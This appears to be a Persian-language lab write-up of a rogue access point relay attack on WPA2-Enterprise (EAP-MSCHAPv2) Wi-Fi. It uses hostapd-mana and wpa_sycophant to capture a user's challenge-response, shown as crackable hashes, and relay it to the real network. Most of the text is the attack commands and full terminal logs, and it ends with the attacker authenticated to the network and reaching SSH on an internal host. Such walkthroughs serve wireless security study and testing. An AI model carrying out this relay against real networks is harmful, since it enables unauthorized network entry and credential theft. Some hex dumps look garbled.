مقاله جزئیات این حمله را می توانید در اینجا و اینجا بیابید.
AP جعلی را راه اندازی کنید
┌──(lab㉿dArkFungus819415)-[~/wirelesspentestlabs/hostapd-mana/hostapd]
└─$ sudo ./hostapd attackap04032023.conf
Configuration file: attackap04032023.conf
MANA: Captured credentials will be written to file 'hostapd.creds'.
MANA: Sycohpant state directory set to /tmp/.
Using interface wlan0 with hwaddr 00:00:00:00:00:01 and ssid "04012023"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: authenticated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED ce:e7:2e:8e:24:b3
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: domainuser
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: disassociated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: deauthenticated due to inactivity (tim er DEAUTH/REMOVE)
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: authenticated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED ce:e7:2e:8e:24:b3
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: domainuser
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: domainuser
nl80211: nl80211_recv_beacons->nl_recvmsgs failed: -5
SYCOPHANT: MSCHAPv2 Response handed off to supplicant.
MANA EAP EAP-MSCHAPV2 ASLEAP user=domainuser| asleap -C 6b030355ad99af99fa9394949494949494949 :7a -R 6b:03:03:b6:fa:27:f2:66:83:17:44:01:c3:f2:9394949494949494949
MANA EAP EAP-MSCHAPV2 JTR | domainuser:$NETNTLM$6b030355ad99af99fa9394949494949494949 174401c3f2e46dd0601ebc14572296:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | domainuser::::6b030355ad99af99fa9394949494949494949 ebc14572296:7cacceb261a24e7a
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 9c 14 d7 ca ec 05 1f a9 9e 6 4 52 2e b6 0b e4 c9
wlan0: CTRL-EVENT-EAP-SUCCESS ce:e7:2e:8e:24:b3
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: disassociated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: deauthenticated due to inactivity (tim er DEAUTH/REMOVE)
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: authenticated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED ce:e7:2e:8e:24:b3
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: domainuser
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: domainuser
MANA EAP EAP-MSCHAPV2 ASLEAP user=domainuser| asleap -C 6b030355ad99af99fa9394949494949494949 -R 68:6a:0c:e2:9e:92:b2:ba:72:4b:47:eb:6c:61:b8:7e:29:44:88:97:8c:80:8d:02
MANA EAP EAP-MSCHAPV2 JTR | domainuser:$NETNTLM$5218dfecfc202cf1$66b030355ad99af99fa9394949494949494949 4b47eb6c61b87e294488978c808d02:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | domainuser::::6b030355ad99af99fa9394949494949494949 8978c808d02:5218dfecfc202cf1
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): c1 92 92 10 5e 6e a8 d8 5e e f 7c 83 0a 39 c6 22
wlan0: CTRL-EVENT-EAP-SUCCESS ce:e7:2e:8e:24:b3
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: disassociated
wlan0: STA ce:e7:2e:8e:24:b3 IEEE 802.11: deauthenticated due to inactivity (tim er DEAUTH/REMOVE)
wlan0: INTERFACE-DISABLED
wpa_sycophant را اجرا کنید
┌──(lab㉿dArkFungus819415)-[~/wirelesspentestlabs/wpa_sycophant]
└─$ sudo ./wpa_sycophant.sh -c attackclient.conf -i wlan3
SYCOPHANT : RUNNING "./wpa_supplicant/wpa_supplicant -i wlan3 -c attackclient.co nf"
SYCOPHANT : RUNNING "dhclient wlan3"
Successfully initialized wpa_sycophant
_ _
__ ___ __ __ _ ___ _ _ ___ ___ _ __ | |__ __ _ _ __ | |_
\ \ /\ / / '_ \ / _` | / __| | | |/ __/ _ \| '_ \| '_ \ / _` | '_ \| __|
\ V V /| |_) | (_| | \__ \ |_| | (_| (_) | |_) | | | | (_| | | | | |_
\_/\_/ | .__/ \__,_|___|___/\__, |\___\___/| .__/|_| |_|\__,_|_| |_|\__|
|_| |_____| |___/ |_|
The most important part is the ascii art - Georg-Christian Pranschke
Set MANA to relay
wlan3: CTRL-EVENT-SCAN-FAILED ret=-16 retry=1
wlan3: CTRL-EVENT-SCAN-FAILED ret=-16 retry=1
wlan3: Trying to associate with 08:4f:f9:80:5e:25 (SSID='04012023' freq=2437 MHz )
wlan3: Associated with 08:4f:f9:80:5e:25
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: CTRL-EVENT-REGDOM-CHANGE init=COUNTRY_IE type=COUNTRY alpha2=US
wlan3: CTRL-EVENT-EAP-STARTED EAP authentication started
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 1 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 1 Identity : - hexdump_ascii(len=7):
66 63 6c 61 72 6b 65 domainuser
wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=13 -> NAK
wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan3: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject="" hash=f2da10022182d0dc97fb45555 0845724b2650cd735858eaecf8f9b703f3cbe33d
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN-SRVDC.DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject="" hash=f2da10022182d0dc97fb45555 0845724b2650cd735858eaecf8f9b703f3cbe33d
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN-SRVDC.DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject="" hash=f2da10022182d0dc97fb45555 0845724b2650cd735858eaecf8f9b703f3cbe33d
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN-SRVDC.DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN.com
wlan3: CTRL-EVENT-EAP-PEER-ALT depth=0 DNS:DOMAIN
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 2 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 2 Identity : - hexdump_ascii(len=7):
66 63 6c 61 72 6b 65 domainuser
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 2 ident : - hexdump_ascii(len=7):
00 00 00 00 17 00 00 _______
SYCOPHANT : Phase 2 Identity : - hexdump_ascii(len=7):
66 63 6c 61 72 6b 65 domainuser
SYCOPHANT : CHALLANGE DATA - hexdump(len=16): 87 cc 0a 32 f7 8b b5 f7 e5 45 86 b a 24 18 59 7e
SYCOPHANT : CHALLANGE DATA GIVEN TO MANA
SYCOPHANT : INFORMING MANA TO SERVE CHALLENGE
SYCOPHANT : RESPONSE SET BY PEER - hexdump(len=66): 02 09 00 42 1a 02 09 00 3d 3 1 61 65 ac e9 5a 61 6c 4b ff 88 49 3d bc 2a a5 fb 00 00 00 00 00 00 00 00 c7 5f 13 70 56 73 f8 9f 68 2f 6f 04 cd 08 75 a3 51 5f 05 2a 7c 79 56 23 00 31 d6 cf e0 d1 6a e9
SYCOPHANT : ORIG CONTENTS - hexdump(len=66): 02 09 00 42 1a 02 09 00 3d 31 61 65 ac e9 5a 61 6c 4b ff 88 49 3d bc 2a a5 fb 00 00 00 00 00 00 00 00 c7 5f 13 70 5 6 73 f8 9f 68 2f 6f 04 cd 08 75 a3 51 5f 05 2a 7c 79 56 23 00 31 d6 cf e0 d1 6a e9
SYCOPHANT : MANA CONTENTS - hexdump(len=66): 02 1a 00 42 1a 02 1a 00 3d 31 74 38 15 d5 d7 08 7e 16 5d 85 00 7b 9c c8 a5 60 00 00 00 00 00 00 00 00 6b 03 03 b6 f a 27 f2 66 83 17 44 01 c3 f2 e4 6d d0 60 1e bc 14 57 22 96 00 66 63 6c 61 72 6b 65
SYCOPHANT : ORIG CONTENTS - hexdump(len=66): 02 09 00 42 1a 02 09 00 3d 31 74 38 15 d5 d7 08 7e 16 5d 85 00 7b 9c c8 a5 60 00 00 00 00 00 00 00 00 6b 03 03 b6 f a 27 f2 66 83 17 44 01 c3 f2 e4 6d d0 60 1e bc 14 57 22 96 00 66 63 6c 61 72 6b 65
SYCOPHANT : MANA CONTENTS - hexdump(len=66): 02 1a 00 42 1a 02 1a 00 3d 31 74 38 15 d5 d7 08 7e 16 5d 85 00 7b 9c c8 a5 60 00 00 00 00 00 00 00 00 6b 03 03 b6 f a 27 f2 66 83 17 44 01 c3 f2 e4 6d d0 60 1e bc 14 57 22 96 00 66 63 6c 61 72 6b 65
EAP-MSCHAPV2: Received success
Response not verified, does not seem important
EAP-MSCHAPV2: Authentication succeeded
EAP-TLV: TLV Result - Success - EAP-TLV/Phase2 Completed
wlan3: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan3: PMKSA-CACHE-ADDED 08:4f:f9:80:5e:25 0
wlan3: WPA: Key negotiation completed with 08:4f:f9:80:5e:25 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to 08:4f:f9:80:5e:25 completed [id=0 id _str=]
اتصال موفقیت آمیز را می توان در سرور radius و WLC تأیید کرد
کلاینت می تواند بدون وارد کردن نام کاربری یا رمز عبور به سرور radius احراز هویت کند. مطالعه را بخوانید تا جزئیات را بدانید.
کلاینت به طور کامل در شبکه احراز هویت شده است، دست دادن 4 طرفه را پشت سر گذاشته است و موفق به دریافت آدرس IP در زیرشبکه صحیح شده است.
من توانستم SSH را به 10.0.12.54 تبدیل کنم
گزارش های سرور Radius
